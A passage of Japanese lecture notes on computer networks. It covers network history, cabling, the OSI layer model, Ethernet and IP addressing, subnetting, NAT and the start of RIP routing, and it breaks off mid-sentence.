3章コンピュータネットワーク -...

数理解析・計算機数学特論 71

第3章コンピュータネットワーク

3.1 コンピュータネットワークとは

最近になって, 「インターネット」という言葉が世間でもてはやされるようになった. しかし, インターネットが実際にどのようなものであるかを知る人は少ないのではないだろうか？ここでは, インターネットとはどのようなものか, その内容についての解説をする. インターネットに関する文献としては [1], [2] 等にまとめられている.

3.1.1 コンピュータネットワークの歴史

コンピュータネットワーク (computer network) とは, 大型計算機, UNIX ワークステーション, パーソナルコンピュータなどを通信回線で接続し, 相互にデータ（情報）の交換を行うシステムを指す.冒頭の歴史にも述べた通り, コンピュータネットワークは, １９６９年の ARPANET に始まる. このこ

ろのネットワークは２台のコンピュータの間を電話回線による情報のやり取りを, 一定時間ごとに複数のコンピュータの間で行うことで仮想的なネットワークを作っていた1.

Host A Host B

Host C Host D

毎時０分毎時０分

毎時２０分

毎時２０分

毎時４０分毎時４０分

特定のコンピュータは通信時には他の１台としか通信でき

ない場合に, ４台のコンピュータによる相互の電話回線での

接続には, このようなスケジュールで通信を行えば良い. こ

の場合, ２０分以内にデータの転送が終了しなければ, 他の

ホストへのデータ転送に影響が出る. コンピュータネット

ワークに接続された各コンピュータはホスト (host) と呼ば

れる.

電話回線による転送を行っていた時代2では通信速度は最大でも 9600 bps3であった.その後, 専用回線を利用し, TCP/IP と呼ばれる通信規約を採用した, 常時接続型のネットワークに移行

していく.

1UUCP (Unix to Unix CoPy) と呼ばれる規格.21990 年頃までは, 電話回線での通信の方が主流であった.3bps とは bits per second のこと. 一般に電話回線では非同期通信を行うため, 8 ビットのデータを転送するためには 10 ビッ

トのデータを送る必要があった. したがって, ２０分間（＝１２００秒間）に送ることの出来るデータ量は, およそ 1 M バイト程度であることがわかる. 一般にバイトを省略する記号として “B” を使い, ビットを省略する記号として “b” を使う.

network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp

72 数理解析・計算機数学特論

海外（主にアメリカ）日本

１９７９ USENET

１９８１ CSNET

１９８２ ARPANET が TCP/IP を採用

１９８４ DNS の開発 JUNET (UUCP)

１９８６ NFSNET

１９８８東京大学・東京工業大学・慶応義塾大学間

を専用回線で接続する WIDE プロジェクト

１９８９ CompuServeとインターネットの接続

１９９０初の商用プロバイダ “The World”ARPANET 終了

この表にもある通り, １９８０年代半ば頃までには, アメリカ国内の主要研究機関はコンピュータネットワークにより相互に接続されていた. 日本国内では, １９９８年の WIDE プロジェクトにより, はじめて常時接続型のネットワークの実験が始まる.

海外（主にアメリカ）日本

１９９１ WWW の開発

１９９２日本初のプロバイダ IIJ, AT&T Jens

１９９３ InterNIC の設立 IIJ による IP 接続の開始

１９９４日本インターネット協会設立, JUNET解散

１９９０年代初頭には, 国立主要大学内と大学間コンピュータネットワークが整備され, 国立主要大学や企業間で常時接続型のネットワークが利用できるようになる.

3.1.2 LAN とインターネット

コンピュータネットワークの中で LAN とは Local Area Network の略であり, 一つのビル内のネットワークや, 大学キャンパス内のネットワークのように, 地理的に限定された場所に設置されたネットワークを指す. より詳しくは, LAN 単位で論理的にネットワークが閉じているものを指す. WAN とは WideArea Network の略であり, 広域に広がるネットワークを指す言葉で, LAN から見たとき外部のネットワークのことを WAN と呼ぶ.名古屋大学の場合, （基本的には）一つの建物ごとに LAN が構成され, いくつかの建物内 LAN を結ぶ

LAN １０数個が相互に接続され, 大学全体の LAN を構成している. 一方, 日本全体を見たとき, 文部科学省学術情報ネットワーク (SINET) のバックボーン (backborn) と呼ばれる高速ネットワークがあり, いくつかの大学がバックボーンに接続され, バックボーン接続点から近隣の大学へ接続されている.



（SINET 接続図. http://www.sinet.ad.jp/より転載）

日本国内には他に WIDE, IMnet などいくつものバックボーン・ネットワークが存在し, 大学・企業等はそれぞれに応じたネットワークに接続し, それぞれのバックボーンは相互に接続し, 一方で, 海外へも接続を行っている.このように多くのネットワーク（この場合はバックボーン単位で一つのネットワークと考えている）が

相互に接続された現在のネットワークをインターネット (Internet) と呼ぶ.

3.1.3 ネットワークのハードウェア

今日のコンピュータネットワークは, ホスト・コンピュータを含む各種のネットワーク機器を相互にネットワーク・ケーブルで結ぶことで構成されている. ここでは, どのようなケーブルや機器が利用されているかを解説しよう.

3.1.3.1 ネットワークケーブル

現在のコンピュータネットワークは, 一部の例外を除くと, ネットワークは有線ケーブルで接続する. これらのケーブルは金属線（メタル）のものと光ファイバー (Optical Fiber) のものがある.

3.1.3.1.1 メタルケーブルによるネットワーク

ネットワークケーブル（メタル・主要なもの）

規格名通信速度接続トポロジーコネクタ形状ケーブル形状

10Base-5 10Mbps バス接続 AUI コネクタ (D-Sub 25 pin) 同軸

10Base-2 10Mbps バス接続 BNC コネクタ同軸

Token Ring 4Mbps/16Mbps リング接続 RJ-45 UTP-3

10Base-T 10Mbps スター接続 RJ-45 UTP-3

100Base-TX 100Mbps スター接続 RJ-45 UTP-5

1000Base-TX 1Gbps スター接続 RJ-45 UTP-6

この表の中で, 10Base-5 の太い同軸ケーブルは被膜が黄色のものが多かったため, “Yellow Cable” と呼ばれることがある. 現在は UTP ケーブル (Unshielded Twisted Pair, より対線) を利用した 10Base-T/100Base-TX が主流である. これは, 被膜なしの細い８芯のケーブルで, 取り回しが容易な上, コネクタが RJ-45 と呼ばれる, 電話用コネクタのちょっと大きいものを利用しているため, 接続も容易であるという理由で良く利用されるようになった.



通信速度が 10Mbps ということは, 10MHz の信号がケーブル内を流れることとなるため, ケーブルの回りには誘導磁場が発生する. 同軸ケーブルは芯線の回りをシールドが覆っているため, 誘導磁場はシールドで遮断されるが, 10Base-T 等に利用されるケーブルは, 取り扱いを容易にするため, “Unshielded” となっているが, 互いに拠り合わされた２本の信号線上に信号を流すことにより, 外部への磁場の漏洩を防いでいる4. UTP のカテゴリ (category) とは, 単位長さにおける拠りの回数により決まる規格であり, 高速通信用のケーブルほど拠り回数が多くなければ安定した信号を流すことは出来ない.

　左は FDDI 光ファイバーケーブル. ２つの光ファイバーの端面があることがわかる.右は UTP-5 ケーブルと RJ-45 コネクタ. UTP-5 ケーブルが４組の拠り対線で構成されていることがわかる.

3.1.3.1.2 光ケーブルによるネットワーク光ケーブルとは, 純度の高い石英ガラスをファイバー状にしたコアと呼ばれるケーブルを, クラッドと呼ばれる被膜で覆ったもので, その中をレーザ光線を流し, 光の全反射を利用してケーブルの他端へ通信を行う. ケーブルのコアは直径 50 ～ 60 µ 程度であり, 容易に折れてしまうため, 取り扱いには注意を要する. 現在利用されている光ケーブルは, シングル・モードとマルチ・モードの２種類があり, 直進光を伝送対象とするものがシングル・モード, 屈折光を伝送対象とするものがマルチ・モード光ファイバーである.光ケーブルでは磁場の問題は発生しないため高速通信が可能である. さらに, 異なった波長の光を同一の

ファイバー状に流すことができるため通信の多重化が可能となり, これらの性質を組み合わせることにより超高速通信が可能になっている.

光ファイバーを利用した主な通信規格

規格名通信速度接続トポロジー

ATM 100Mbps ～ 600Mbps 程度対向

FDDI 100Mbps リング

10Base-F 10Mbps スター接続

100Base-FX 100Mbps スター接続

1000Base-FX 1Gbps スター接続

ATM は日本国内の電話回線交換器のなすネットワークに用いられている.

3.1.3.1.3 ISDN/ADSL/無線 LAN 通常の家庭で利用する電話回線を経由した IP 接続と呼ばれているものの中で, ISDN (Integrated Services Digital Network) と呼ばれるものがある. ISDN で利用されるケーブルは, 通常の公衆回線と同様の６極４芯の電話線と同一である.

410Base-T/100Base-TX では, ８芯のケーブルのうち, ２組４本しか利用していない. ２組は TX/RX と呼ばれ, あるホストから見たとき, 受信用 (RX) と送信用 (TX) として利用される. TX/RX の片側づつを利用するモード（半二重通信）と, TX/RX を同時に利用するモード（全二重通信）があり, 100Mbps と呼ぶときには半二重通信での速度を表す. また, TX, RX のそれぞれは２本１組になったいるが, それぞれのケーブルは TX+, TX− または RX+, RX− と呼ばれ, 同じ信号を論理を変えて送信することにより, 送信データの信頼性を高めている. すなわち, + 側は正論理で送信し, − 側は負論理で送信することで, 受け取ったデータの差をとることで受信データを決定する. このような転送方法をディファレンシャル転送 (differential transfer) と呼ぶ.ハブとホスト間を繋ぐケーブルは, TX-TX, RX-RX と接続された「ストレート・ケーブル」を用いる. ハブのポート内部では

TX-RX 信号線を入れ替える配線になっているため, ホストの TX 信号線のデータは HUB では受信信号線となる. ハブとハブを接続する場合, または, ホストとホストを接続する場合には, TX-RX となる接続をした「クロス・ケーブル」を用いる.



最近,一般家庭での常時接続のために,ケーブルネットワークやADSL (Asymmetric Digital SubscriberLine) が評判になっているが, これらは通常はメタル同軸ケーブルを用いる. Cable ネットワークは, 通常音声や画像などを配信するために利用されるが, ケーブルの通信帯域がある程度広いことを利用して, 音声や画像情報を流す帯域とは異なる高周波帯域にデータをアナログ変調して搬送している. ADSL でも, 通常の音声通信を行う帯域とは異なる高周波帯域にデータをアナログ変調して搬送する. そのため, 電話局からの距離が遠くなると, 高周波帯域にノイズが入りやすくなるので, ADSL の高速通信を行うには電話局からの距離がある程度近いことが必要となる. ADSL, Cable ネットワークでは通常モデム (modem) を利用するが, 一般にモデムとはデジタル信号をアナログ変調する機器のことを指す.また, 最近になって, IEEE 802.11b という規格の元での無線ＬＡＮ5に注目が集まっている. これは

11Mbps の通信無線で行う規格であり, 2.4GHz の周波数帯域6を利用する.

3.1.3.1.4 WAN で用いられる媒体広域ネットワークを構成する場合には, ISDN 交換網, 専用回線,X.25, フレームリレーなどの方法を利用する. 専用回線は２つの LAN の間を専用の光ファイバーなどで接続する方法で, 回線自体に他の利用がないため, セキュリティ上非常に安全であるが, 回線設置費用, 維持費用など非常に高価になるのが欠点である. それに対して, ISDN, X.25, フレームリレーなどを利用する方法は, いわゆる公衆交換網（たとえば NTT の電話交換網）を経由して接続する方法で, 現在では比較的安価に広域ネットワークを構成できるが, データが公衆交換網を通過するため, セキュリティ上の問題が生じる. 最近では, LAN から WAN への接続点で通信の暗号化7を行い, 公衆回線網を通過するデータの安全性を高める手段が用いられることが多い.なお, NTT が提供する ISDN とは, INS-64 と INS-1500 にわかれる. INS-64 とは通常の電話回線上に

デジタル信号で 64KbpsのＢチャンネル２本と 16Kbps のＤチャンネル１本を伝送する方法である. Ｂチャンネルは音声（をデジタル信号化したもの）や通常のデータを運ぶチャンネルである. 「ＩＳＤＮの宣伝文句」にあった「電話しながらインターネット」とは, ２本のＢチャンネルの中で, １本を音声に利用し, もう１本をデータ転送に利用する方法である. もちろん, ２本のＢチャンネルをデータ転送に利用でき, この方法では 128Kbps を実現できる8. INS-1500 とは光ファイバーを用いて, 23B+D という転送を行う方法であり, この場合には, 23 × 64 = 1472 Kbps, すなわち約 1.5 Mbps を実現可能となる.

3.1.3.2 ネットワーク機器

このような各種のネットワークケーブルを相互に接続する機器がネットワーク機器と呼ばれる各種の装

置であり, 10Base-T/100Base-TXのようなスター型接続を行うものの場合には, コンピュータと接続する機器にはハブ (hub) と呼ばれる装置を利用する.各種のネットワーク機器は, ネットワークにおける動作状態により,

• ルータ (router),

5IEEE 802.11b に準拠した装置は Apple 社の AirPortなど多数が発売されている. 通信方式は DSSS (Direct Sequence SpreadSpectrum: 直接拡散方式のスペクトラム拡散通信) を用いている. また, 40 ビットまたは 128 ビットの暗号化通信 (WEP: WiredEquivalent Privacy) もサポートされている.

62.4GHz というのは, 電子レンジのマイクロ波とほぼ同じ周波数である. また, 最近話題の Bluetooth もこの周波数帯を利用するが, Bluetooth は FM 変調を行うため, IEEE 802.11b との相互接続性はない. この他にも IEEE 802.11a という 5GHz 帯を利用して 54Mbps 通信を行う規格, IEEE 802.11g という 2.4GHz 帯で 54Mbps 通信を行う規格に沿った機器が販売されている.

7LAN 同士の接続のため, WAN を利用する場合, LAN-WAN 接続点で暗号化を行う方法を VPN (Virtual Private Network)と呼ぶ.

8INS-64 はフレーム転送で行われている. １フレームは 2B+D で構成され, Ｂチャンネルは 16 ビット, Ｄチャンネルは 4 ビットからなる. さらに, 制御シーケンス 12 ビットを含めると, １フレームは 48 ビットから構成され, １秒間に４０００フレームの転送が行われる. すなわち, 192000 bps の転送が行われている. また, 公衆回線は 300 Hz の搬送波上に周波数変調でアナログ通信を行う. この時, 約 3400 Hz でフィルターをかけている. 一方, S/N 比は 3000:1 程度である. したがって, アナログ公衆回線の理論的速度限界は 3100 ∗ log2(3001) ∼ 35800 bps となり, いわゆる 33.6K モデムはほぼ理論値限界の速度の転送を行っていることがわかる. なお NTT が保証している速度限界は 9600bps である.



• ブリッジ (bridge),

• リピータ (repeater),

• ハブ (hub),

• スイッチ (switch)

などと呼ばれる. 同一の機器でも, その動作状態によって呼び名が変ることがありうるので厄介である.一般に LAN の境界で LAN 相互を接続するために用いられる機器を「ルータ」と呼び, LAN の中で極

めて重要な役割を果たしている. ハブはネットワーク機器としてはリピータの役割を果たし, 経由するリピータの数が多くなると, 通信は不安定になる. 通常, ブリッジを経由するたびにリセットする数え方で, リピータ段数は３段を越えることは出来ない. なお, スイッチング・ハブと呼ばれる機器はネットワーク機器としてはブリッジの役割を果たす.

3.2 ネットワーク・プロトコル

コンピュータネットワークにおいて, 通信を保証するための規約をプロトコル (protocol) と呼ぶ. 現在のネットワークで利用されるプロトコルは, どのようなケーブルを利用できるかという物理的なプロトコルから始まり, 電子メールの交換の規則などを定めたソフトウェア的な部分など広範囲にわたって詳細に定められている.

3.2.1 レイヤーモデル

ネットワークプロトコルは, 下の図に示すように,７層にわたる階層構造をなし,上位層でのプロトコルは,すぐ下の層で定められているどのプロトコル上で定義されるかのみを定め, より下位の層のプロトコルは上位層のプロトコルには影響を与えない. このプロトコルモデルを OSI ７層モデル (OSI layer model)と呼ぶ.

10Base-T

7. アプリケーション層

6. プレゼンテーション層

5. セッション層

4. トランスポート層

3. ネットワーク層

2. データリンク層

1.物理層 10Base-T 100Base-TX FDDI LocalTalk ISDN

EthernetPPP

IP AppleTalk（ＤＤＰ）

TCP RTMP ATPUDP ICMP

ZIP ASP

AFPtelnet, ftp, http,smtp, dns, etc.

NFS, talk,bootp,dhcp,etc.

ＯＳＩ層モデル（ごく一部のみ）

各層のおおよその意味は以下の通りである.

1. 物理層媒体の電気的（光学的）特性や機器の形状の定義.

2. データリンク層物理的な通信路の確立.

3. ネットワーク層アドレスの管理と経路の選択.



4. トランスポート層データを確実に届ける.

5. セッション層データの受け渡しの手順の定義.

6. プレゼンテーション層データをユーザに理解できる形や通信に適した形に変換.

7. アプリケーション層ユーザにサービスを提供.

これら各層におけるプロトコルは IEEE, ISO, RFC (Request For Comments) 等で定義されている.上の「ネットワークのハードウェア」で解説した内容は, 「物理層」の定義を解説したことになる. 第２

層から上位の層のプロトコルはソフトウェア的に定義される.

Example 3.2.1 たとえば, telnet というプロトコルは, トランスポート層の TCP プロトコル上に定義

されたもので, TCP はネットワーク層の IP プロトコル9上で定義されている. IP を定義する下位層はEthernet プロトコルであり, Ethernet プロトコルは 10Base-T, 100Base-TX, FDDI, localtalk などの物理媒体上に流すことが可能である.

3.2.2 ネットワークパケット

コンピュータネットワークにおいて, すべてのデータは物理で定義された媒体上をパケット (packet) と呼ばれるデータ形式で伝送される. ネットワークパケットはヘッダ (header) と呼ばれる（「宛先の荷札」に対応する）発信元・宛先などを記述する部分と, データまたはペイロード (payload) と呼ばれる, 通信内容のデータを含んだ部分から構成される10.パケット・ヘッダは各プロトコル上に定義され, すなわち, 各層ごとにパケット・ヘッダがあり, 上位

層のヘッダを含む部分は下位層ではペイロードと見なされる. このようなパケットの構成をカプセル化(encapslation) と呼ぶ.

Ethernet ヘッダ

IP ヘッダ

TCP ヘッダ

telnet データ

データリンク層

IP ヘッダ

TCP ヘッダ

telnet データ

ネットワーク層

TCP ヘッダ

telnet データ

トランスポート層

上の図のように, データを受け取ったホストは, 各層に対応するソフトウェアまたはドライバを用いて, ヘッダを解析した後, それを取り除き上位層に対応するソフトウェアに処理を渡すことで, 下位層に依存しないプロトコルを実現している.各プロトコルのプロトコル・ヘッダには, パケット発信元とパケット送信先のネットワーク・アドレス等

が書かれる. すなわち, ネットワーク・アドレス (network address) は, プロトコルにより決まる概念である.

3.2.3 ネットワーク・プロトコルとネットワーク・アドレス

ネットワークにおいて, ネットワーク・アドレスとは, プロトコルによって決まる概念であるが, ここで言うアドレスとは, パケット・ヘッダに書き込まれたものだけを扱おう. すなわち, 「電子メール・アドレス」や「ホームページ・アドレス」とは別個のものと考えておこう.

9IP は Internet Protocol の略.10名前の通り, ヘッダ部分がパケットの先頭になり, ペイロードがヘッダ部分の後に続く形をとる.



3.2.3.1 データリンク層

3.2.3.1.1 Ethernet Ethernet11 （イーサ・ネットと読む）は, 元々は Xerox 社によって同軸ケーブル上に伝送されるデータの規格として開発されたが, 現在では IEEE 802.3 によって標準化されている.Ethernet は CSMA/CD 方式12を行う IEEE 802.3 規格による通信である.

Ethernet プロトコルにおけるアドレスは MAC アドレス (Media Access Control Address) と呼ばれ,１６進数２桁（オクテット (octet) と呼ぶ）が６つ並んだ形式をしている.

Example 3.2.2 MAC アドレスは 08:00:20:81:96:62や 00:c0:7b:7f:e1:59などと書かれる. （A か

ら F は大文字でも小文字でも良い13.）

MAC アドレスはホストのネットワーク・インターフェース (Network Interface) に付けられたアドレスと解釈して良く, 実際には, 一部の例外を除いて, ネットワーク・インターフェース・カード (NIC) のカードの ROM に書き込まれている. そのような意味で MAC アドレスのことをハードウェア・アドレスと呼ぶこともある. なお, MAC アドレスの上位３オクテットは NIC のメーカによって決まった数値であり, 最上位オクテットの最下位ビットは 0 になっている.

3.2.3.1.2 PPP PPP (Point to Point Protocol) は, 電話回線, X.25, フレームリレー, SONET (Syn-chronous Optical Network: 同期光通信網), ISDN 等１対１のネットワーク上に構成されるプロトコルで,データリンク層とネットワーク層の下位副層上で定義される. PPP はネットワーク層でどのようなプロトコルを利用するかにより異なったカプセル化を行う. すなわち, PPP パケットは１対１通信を行う物理層上のプロトコルのため, データリンク層自身にはアドレスは必要とせず, データリンク層ヘッダは圧縮方式などを定義する機能を持つ. データリンク層を利用して, PPP はネットワーク層アドレスのネゴシエーションを行う機能を持つ. したがって, PPP データリンクを利用して, IP パケットを交換する際に, 通信路確立時に IP アドレスを取得する機能を持つ.

3.2.3.2 ネットワーク層

3.2.3.2.1 IP IP プロトコルは「インターネット」で利用される基本的なプロトコルであり, そのアドレス体系を IP アドレスと呼ぶ. IP プロトコルは, ネットワークを利用する際に今日では必須の知識と考えられるため, 後で詳しく解説する.

3.2.3.2.2 AppleTalk AppleTalk は Apple 社によって定義された, 元々は Apple のコンピュータやプリンタ等を接続するためのプロトコルであり, 古くは LocalTalk ケーブルと呼ばれるケーブル上にのみ定義されたものであった. 現在は Ethernet を伝送する各種媒体上で定義され, そのような AppleTalk を正式には EtherTalk と呼ぶ14. AppleTalk ではアドレスは動的に制御される. すなわち, AppleTalk アドレスは機器がネットワークに接続された際に, 相互のアドレスを検知して, 自身のアドレスを自動的に割り当てる機能を持つ.

11Ethernet の “ETHER” とは「エーテル」のことである.12搬送波関知多重アクセス／衝突検出方式 (Carrier Sence Multiple Access with Collision Detection). ブロードキャスト

(broadcast) 型通信とも呼ばれる. 要するに, ホストからパケットを出したとき, ケーブル上にパケットがあるかどうか（衝突）を検出し, 衝突が起こっていれば, 再送を行う方式.

13しかし, 決して “Mac アドレス” とは書かないし, 「マック・アドレス」などとは呼ばない.14実際 LocalTalk 上の AppleTalk と EtherTalk ではプロトコルヘッダの定義が異なる. 正式には LocalTalk 上の AppleTalkのデータリンク層を LLAP, EtherTalk のデータリンク層を ELAP, TokenRing 上の AppleTalk のデータリンク層を TLAP と呼び, LLAP, ELAP, TLAP の上位に定義されるプロトコルを総称して AppleTalk と呼ぶ.



3.2.4 プロトコル体系と経路制御とネットワーク機器

Ethernetのような CSMA/CD 方式のネットワークでは, 送出したパケットはネットワーク上のすべてのホストに対して送付される. したがって, 何らかの形でネットワークを閉鎖的にしないと, 送出したパケットは世界中に転送されてしまう. 一方, 通信したい相手は閉鎖したネットワークの外側にある可能性もあるので, 何らかの形で閉鎖したネットワークから外部にパケットを転送する必要がある. 閉鎖したネットワークの外部に宛先のアドレスを元にパケットの転送を行うことを経路制御 (routing) と呼び, その手続きを行う機器をルータ (router) と呼ぶ.実際にネットワークサービスを利用する際に相手を特定するアドレス体系は, ネットワーク層のアドレ

ス（ＩＰアドレスや AppleTalk アドレス）であるため, ルータとはネットワーク層のアドレスを元に経路制御を行っている. Section 3.1.3.2 で解説した各種ネットワーク機器は, プロトコル体系と密接に結び付いている.

ルータネットワーク層のアドレスを元にパケット転送を行う機器.

ブリッジデータリンク層のアドレスを元にパケット転送を行う機器.

リピータ物理層でパケット転送を行う機器.

ハブ 10Base-T などのスター型ネットワークの集線装置. 一般にはリピータとして動作する.

スイッチ形式としてはハブの形態をとり, ブリッジ機能を果たすもの.

レイヤー３スイッチ形式としてはハブの形態をとり, ルータ機能を果たすもの.

Ethernet ヘッダ

IP ヘッダ

TCP ヘッダ

データ

=⇒(1)

IP ヘッダ

TCP ヘッダ

データ

=⇒(2)

IP ヘッダ

TCP ヘッダ

データ

=⇒(3)

Ethernet ヘッダ

IP ヘッダ

TCP ヘッダ

データ

ルータの機能

　(2) で IP ヘッダを見て経路制御を行う.

(3) で Ethernet ヘッダを書き換える.

この時の始点 MAC アドレスはルータのものとなる.

　Ethernet ヘッダ

IP ヘッダ

TCP ヘッダ

データ

=⇒(1)

Ethernet ヘッダ

IP ヘッダ

TCP ヘッダ

データ

ブリッジの機能

　

(1) で Ethernet ヘッダを見て経路制御を行う.

なお, ネットワーク機器のルータ動作またはブリッジ動作は, ネットワーク層のプロトコルによって切り替える機能を持つルータもある. ネットワーク層プロトコルごとに見たとき, ルータで区切られた「閉鎖された」ネットワークをブロードキャスト・ドメイン (broadcast domain) と呼ぶ. LAN をリピータだけで構成すると, あるホストから出たパケットは LAN 内のすべての機器に到達するため, ネットワークが非常



に混雑する. スイッチ（ブリッジ）をおくことにより, スイッチの学習機能を用いて, 特定の２ホスト間の通信を他のホストに届かないようにすることが出来る. このような構成を行ったネットワークをスイッチング・ネットワークと呼ぶ.

Host A Host B

Host C Host D

HUBHost A から Host B へのパケットは, Host C, Host D へ

も届いてしまう. これは, ハブがリピータだからである.

　

Host A Host B

Host C Host D

Switch

ハブをスイッチに取り替えると, Host A から Host B への

パケットは, Host C, Host D へは届かなくなる. スイッチ

はブリッジなので, Host A と Host B の MAC アドレス

により, パケットを送出するポート（ケーブル）を選択して

いる.

3.2.5 IP ネットワーク

「インターネット」で利用されるプロトコルは IP プロトコルに限られ, それ以外のネットワーク層プロトコルは, 一般には LAN の出口のルータではルーティングされない. 今日の「インターネット」を支えているものは, IP ネットワークであり, IP ネットワークの基本的な仕組みは「インターネット」を理解するためには必要不可欠な知識である.

3.2.5.1 IP アドレス

IP アドレス (IP address) は IP プロトコルのアドレス体系で, 今日広く利用されている IP アドレス体系は IPv4 (IP address Version 4) と呼ばれる, １６進数４桁からなるアドレス体系である.

Example 3.2.3 IP アドレスは 133.6.130.5, 127.0.0.1などと, １０進数で表示され, 各桁は “.” で区切って記述される.

IP アドレスは「インターネット」に接続された世界中のホストに対して割り当てられ, IP アドレスを指定することにより, 世界中のホストを一意的に指定することが出来る. このアドレス体系で指定できるホストの総数は

2564 = 232 = 4294967296

であるので, 約４２億となるが, 実際にはすべてのアドレスを有効に利用できるわけではない.

3.2.5.1.1 IP サブネット IP プロトコルのブロードキャスト・ドメインを IP サブネット (IP subnet)と呼び, IP サブネットごとに IP アドレスを割り当てる. 大きな組織では, LAN をいくつもの IP サブネットに分割し, 組織に与えられた IP アドレスを各 IP サブネットに割り当てている.



Example 3.2.4 名古屋大学には 133.6.XXX.YYYという 2562 = 65536 の IP アドレスが割り当てられている. 名古屋大学では, 各建物ごとに IP サブネットを構成し, 理１号館では 133.6.130.XXXという IP アドレスが割り当てられている.

この例のように, IP アドレスはネットワークを構成する組織ごとに, ある範囲の IP アドレスが割り当てられる. したがって, ある IP アドレスがその組織のものか, そうでないかを容易に区別できるように IP アドレスを割り当てる必要がある. これは, あるホストから他のホストへ IP プロトコルを利用して通信を行う場合に, 直接パケットを送ることが出来るのか, ルータを経由しなければならないのかを区別する必要があるためである. そのための方法が, IP アドレスのサブネット・マスク (subnet mask) の概念である. サブネット・マスクが n ビットであるとは, ３２ビット（IP アドレスのビット長）の上位 n ビットを 1, 下位 32− n ビットを 0 にした数値をサブネット・マスクの値とし, サブネット・マスク値と IP アドレスのビットごとの AND を取ったものを, ネットワーク部と呼ぶ. （残りの部分をホスト部と呼ぶ.）

Example 3.2.5 ホスト A がホスト B と通信する場合を考えよう. ホスト A の属する IP サブネットのサブネット・マスクを利用して, 自分自身の IP アドレスのネットワーク部と, ホスト B の IP アドレスのネットワーク部を比較する. この時, 両者が一致していれば, ホスト A はホスト B と直接通信可能であると判断し, そうでなければ, ルータを経由しなければならないと判断する.

IP サブネットの IP アドレスの範囲を表すために, サブネットのネットワーク部のアドレス（ネットワーク・アドレス）と, サブネット・マスクのビット数を用いて, XXX.YYY/n 等という書き方をする.

Example 3.2.6 名古屋大学の IP アドレスは 133.6/16 または, 133.6.0.0/16 である. また, 名古屋大学理１号館の IP アドレスは 133.6.130/24または, 133.6.130.0/24である. 理学部Ａ館の IP アドレスは 133.6.84/22または, 133.6.84.0/22であり, これは, 133.6.84.0から 133.6.87.255までの範囲を

表す.84 = (1010100)2

85 = (1010101)2

86 = (1010110)2

87 = (1010111)2

したがって, 理１号館内には 256 台, 理学部Ａ館内には 1024 台のホストを設置できることとなる.

元々は, サブネット・マスクのビット数は 8, 16, 24 のいずれかであって, それぞれ, クラスＡ, クラスＢ, クラスＣと呼ばれていたが, 現在では, 8 の倍数以外のマスクビットも用いられるようになった.このように, IP アドレスは有限な資源であるため, ホスト数が急増した現在では, 新規の組織が新規 IP

アドレスの取得を申請しても, 数個の IP アドレスしか割り当てを受けないことが多い.

3.2.5.1.1.1 プライベート・アドレス IP アドレスは世界中で一意的なアドレスを用いなければならないが, IP アドレス体系の中には, プライベート・アドレス (private address) と呼ばれる, IP サブネット内だけで利用できるアドレスがある15. 具体的には

10.0.0.0/8, 172.16.0.0/16 - 172.31.0.0/16, 192.168.0.0/24 - 192.168.255.0/24

というクラスＡが１個, クラスＢが１６個, クラスＣが２５６個のアドレスであり, これらのアドレスを持つパケットはルータで切り落とすことにより, サブネット外部に出してはならない. このルールの元に, プライベート・アドレスをサブネット内で自由に利用することが出来る.

15これに対して, 世界中からアクセス可能な IP アドレス（通常の IP アドレス）をグローバル IP アドレス (global IP address)と呼ぶことがある.



プライベート・アドレスはサブネット外部と通信を行わない装置（プリンタ等）に割り当てて利用した

り, ルータでアドレス変換を行うことにより, サブネット内部のホストすべてにプライベート・アドレスを割り当てて利用したりする.

Example 3.2.7 グローバル IP アドレスが数個しか無い場合, ルータでプライベート・アドレスとグローバル・アドレスの変換を行って, サブネット内部から外部への通信を行うことが多い. この方法を NAT(Network Address Translation), IP マスカレード (IP masquerade) と呼ぶ16.

3.2.5.2 IP ルーティング

IP ルーティング (IP routing) とは, IP プロトコルに関する経路制御のことであり, IP サブネットから外部への通信の経路を制御することに相当する.

3.2.5.2.1 経路制御とは IP ルーティングは複雑に入り組んだネットワークを通じて, 目的地にパケットを届けるための最も基本的な技術である. もし, パケットを届けるべきホストが同一のサブネットに属していれば, 中継点（ルータ）を経由することなくパケットをホストに届けることができる. しかし, 目的のホストが異ったサブネットに属しているときには, ルータを経由してパケットを送信する必要が生じる. すなわち, 直接パケットを送ることができる範囲は, IP サブネット内に限られている. そのため, 送出するパケットは一旦ルータに送信され, ルータに保存された経路表に従って, 目的のホストまたは, 次のルータへ転送が行われる. このように, ルータは２つ以上のネットワークに接続され, 相互のネットワークの間でパケットの適切な交換を行う.

3.2.5.2.2 経路制御の方法以下では実際の経路制御の一例を考えてみよう. 現在のインターネットでは,インターネットに参加するネットワークのうち, 同一の管理主体やあるいは同一の管理方針に基づいて運営されるひとまとまりのネットワークを自律システム (autonomous system, AS) と呼び, AS の集合体としてインターネットが形成されている. したがって, インターネット全体を見たとき, 多くの ASの間での経路制御 (Exterior Gateway Protocol EGP) が行われ, 各 AS 内では AS 内部での経路制御 (Interior

Gateway Protocol IGP) が行われるという階層構造が実現されている.各 AS の管理方針は経路制御に対して影響をおよぼす. 例えば, 一つの AS である SINET では「営利目

的のネットワーク利用は行わない」と定められているので, 営利目的の AS 相互のパケットを SINET を経由させることはできない. このように, EGP では各 AS の管理方針をもそのプロトコルに反映させる必要がある.以下では IGP の一つの実現である RIP Version 2 に基づいた経路制御の方法を調べてみよう17.

3.2.5.2.2.1 RIP 仮に, IP サブネット上にルータが１つしかない状況を考えてみよう. すなわち, IP サブネットの外部への出口は１つしかない. この時には, サブネット外部への通信はすべてそのルータを経由することで行われる. この場合, ルータはサブネット内部のホストすべてに対して, 「自分がサブネット外部へのデフォールトの出口である」という内容のパケットを送出する. 経路制御情報を与えるプロトコルを経路制御パケット (routing information packet) と呼び18, このような, サブネット内のすべてのホス

16正しくは NAT と IP マスカレードとは異なった方法で, NAT はネットワーク層での変換を行うのに対して, IP マスカレードはトランスポート層での変換を行う.

17このような「出口が一つしかない」ネットワークをスタブ (stub) と呼ぶ.18このプロトコルは, トランスポート層で定義され, 520/udp で定められる route と呼ぶプロトコルである. （トランスポート層に関しては後に解説する.）



トに対して送出されるパケットをブロードキャスト (broadcast) パケット19と呼ぶ. また, 「デフォールトの出口」（これをデフォールト・ルート (default route) と呼ぶ）を与えるルータをデフォールト・ルータ (default router) と呼ぶ.一方, IP サブネット上に複数のルータがあるときには, どれか一つのルータがデフォールト・ルータと

なり, 他のルータは特定のサブネットへの経路をサブネットに対してアナウンスする.いずれの場合にも, ルータからの経路制御パケットを集めることにより, デフォールト・ルートを含む,

